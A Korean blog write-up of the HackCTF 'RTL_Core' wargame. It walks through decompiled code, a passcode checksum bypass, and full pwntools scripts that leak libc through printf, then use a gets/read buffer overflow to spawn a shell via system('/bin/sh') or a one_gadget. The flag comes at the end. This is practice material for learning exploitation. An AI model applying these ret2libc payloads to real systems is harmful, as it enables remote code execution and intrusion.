[문제]


[풀이]

  • 32bit 바이너리
  • 카나리 없음
  • NX bit 존재
  • PIE 없음

 

바이너리 실행

  • 사용자로부터 패스코드 입력을 받고 특정한 값과 비교하여 일치 여부 검증

 

IDA 분석 - main 함수

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+Ch] [ebp-1Ch]@1

  setvbuf(_bss_start, 0, 2, 0);
  puts("코어 파일에 액세스중입니다..\\n패스코드를 입력해주세요");
  printf("Passcode: ");
  gets(&s);
  if ( check_passcode(&s) == hashcode )
  {
    puts("코드가 일치하구나. 좋아, 다음 단서를 던져주지");
    core();
  }
  else
  {
    puts("실패!");
  }
  return 0;
}
  • gets 함수로 사용자의 입력을 받음 → 입력 값 길이에 대한 제한 없어 BOF 발생
  • check_passcode에 사용자의 입력을 넣어 return된 값과 hashcode가 같다면 core 함수 호출

 

IDA 분석 - core 함수

ssize_t core()
{
  int buf; // [esp+Ah] [ebp-3Eh]@1
  int v2; // [esp+Eh] [ebp-3Ah]@1
  __int16 v3; // [esp+12h] [ebp-36h]@1
  int v4; // [esp+38h] [ebp-10h]@1
  void *v5; // [esp+3Ch] [ebp-Ch]@1

  buf = 0;
  v2 = 0;
  v4 = 0;
  memset(
    (void *)((unsigned int)&v3 & 0xFFFFFFFC),
    0,
    4 * ((((unsigned int)&v2 + -((unsigned int)&v3 & 0xFFFFFFFC) + 46) & 0xFFFFFFFC) >> 2));
  v5 = dlsym((void *)0xFFFFFFFF, "printf");
  printf("너에게 필요한 것은 바로 %p 일거야\\n", v5);
  return read(0, &buf, 0x64u);
}
  • 동적 라이브러리 로드
  • printf 함수의 주소를 출력해줌
  • read 함수로 buf에 100바이트만큼 사용자 입력 받음

 

IDA 분석 - check_passcode 함수

int __cdecl check_passcode(int a1)
{
  int v2; // [esp+8h] [ebp-8h]@1
  signed int i; // [esp+Ch] [ebp-4h]@1

  v2 = 0;
  for ( i = 0; i <= 4; ++i )
    v2 += *(_DWORD *)(4 * i + a1);
  return v2;
}
  • 사용자의 입력 값은 a1으로 받음
  • 포인터를 이용한 것으로 보아 4byte 단위로 특정 값을 연속하여 저장 후 v2반환
  • v2 = hashcode(0xc0d9b0a7) = *a1 + *(4+a1) + (42+a1) + (43+a1) + (44+a1)
    • 0xc0d9b0a7 / 5 = 0x2691f021(647098401) + 2
    • a1 = 647098401
    • a1+4 = 647098401
    • a1+8 = 647098401
    • a1+12 = 647098401
    • a1+16 = 647098403

 

hashcode 검증

from pwn import *

p = remote("ctf.j0n9hyun.xyz", 3015)

p.recvuntil(": ")

payload = p32(0x2691f021)*4 + p32(0x2691f023)

p.sendline(payload)
p.recv(1024)
p.interactive()

 

gdb 분석 - 변수 확인

pwndbg> info variable
All defined variables:

Non-debugging symbols:
0x080487a8  _fp_hw
0x080487ac  _IO_stdin_used
0x0804888c  __GNU_EH_FRAME_HDR
0x080489d8  __FRAME_END__
0x08049f00  __frame_dummy_init_array_entry
0x08049f00  __init_array_start
0x08049f04  __do_global_dtors_aux_fini_array_entry
0x08049f04  __init_array_end
0x08049f08  __JCR_END__
0x08049f08  __JCR_LIST__
0x08049f0c  _DYNAMIC
0x0804a000  _GLOBAL_OFFSET_TABLE_
0x0804a028  __data_start
0x0804a028  data_start
0x0804a02c  __dso_handle
0x0804a030  hashcode
0x0804a034  __TMC_END__
0x0804a034  __bss_start
0x0804a034  _edata
0x0804a034  stdout
0x0804a034  stdout@@GLIBC_2.0
0x0804a038  completed
0x0804a03c  _end
  • hashcode: 0x0804a030 → 전역변수로 선언되어 있음

  • hashcode = 0xc0d9b0a7

 

문제 해결

💡 printf 함수 주소를 통해 base 주소 leak
/bin/sh, system 구해 exploit
→ dummy(66) + system_address + dummy(4) + /bin/sh_address

 

Python2

from pwn import *

p = remote("ctf.j0n9hyun.xyz", 3015)
libc = ELF("./libc.so.6")
e = ELF("./rtlcore")

printf_symbols = libc.symbols['printf']
system = libc.symbols['system']
binsh = libc.search('/bin/sh').next()

p.recvuntil(": ")

payload = p32( 0x2691f021)*4 + p32( 0x2691f023)

p.sendline(payload)
p.recvuntil('0x')
printf = int('0x' +  p.recv(8),16)

base = printf - printf_symbols
system_address = base + system
binsh_address = base + binsh

payload2 = "A"*66
payload2 += p32(system_address)
payload2 += "b"*4
payload2 += p32(binsh_address)

p.sendline(payload2)
p.interactive()

Python2 - One_Gadget

from pwn import *

p = remote("ctf.j0n9hyun.xyz", 3015)
libc = ELF("./libc.so.6")
e = ELF("./rtlcore")
one_gadget = 0x3a80c

printf_symbols = libc.symbols['printf']
system = libc.symbols['system']
binsh = libc.search('/bin/sh').next()

p.recvuntil(": ")

payload = p32(0x2691f021)*4 + p32(0x2691f023)

p.sendline(payload)
p.recvuntil('0x')
printf = int('0x' +  p.recv(8),16)

base = printf - printf_symbols
system_address = base + system
binsh_address = base + binsh
one_address = base + one_gadget

payload2 = "A"*66
payload2 += p32(one_address)
payload2 += p32(0)*100

p.sendline(payload2)
p.interactive()


flag

🍒  HackCTF{5ucc355ful_r7lc0r3_f1l3_4cc355}

'Wargame > HackCTF' 카테고리의 다른 글

[HackCTF] 1996  (0) 2022.10.30
[HackCTF] Random key  (0) 2022.10.30
[HackCTF] Beginner_Heap  (0) 2022.10.30
[HackCTF] Look at me  (0) 2022.10.30
[HackCTF] Gift  (0) 2022.10.30

+ Recent posts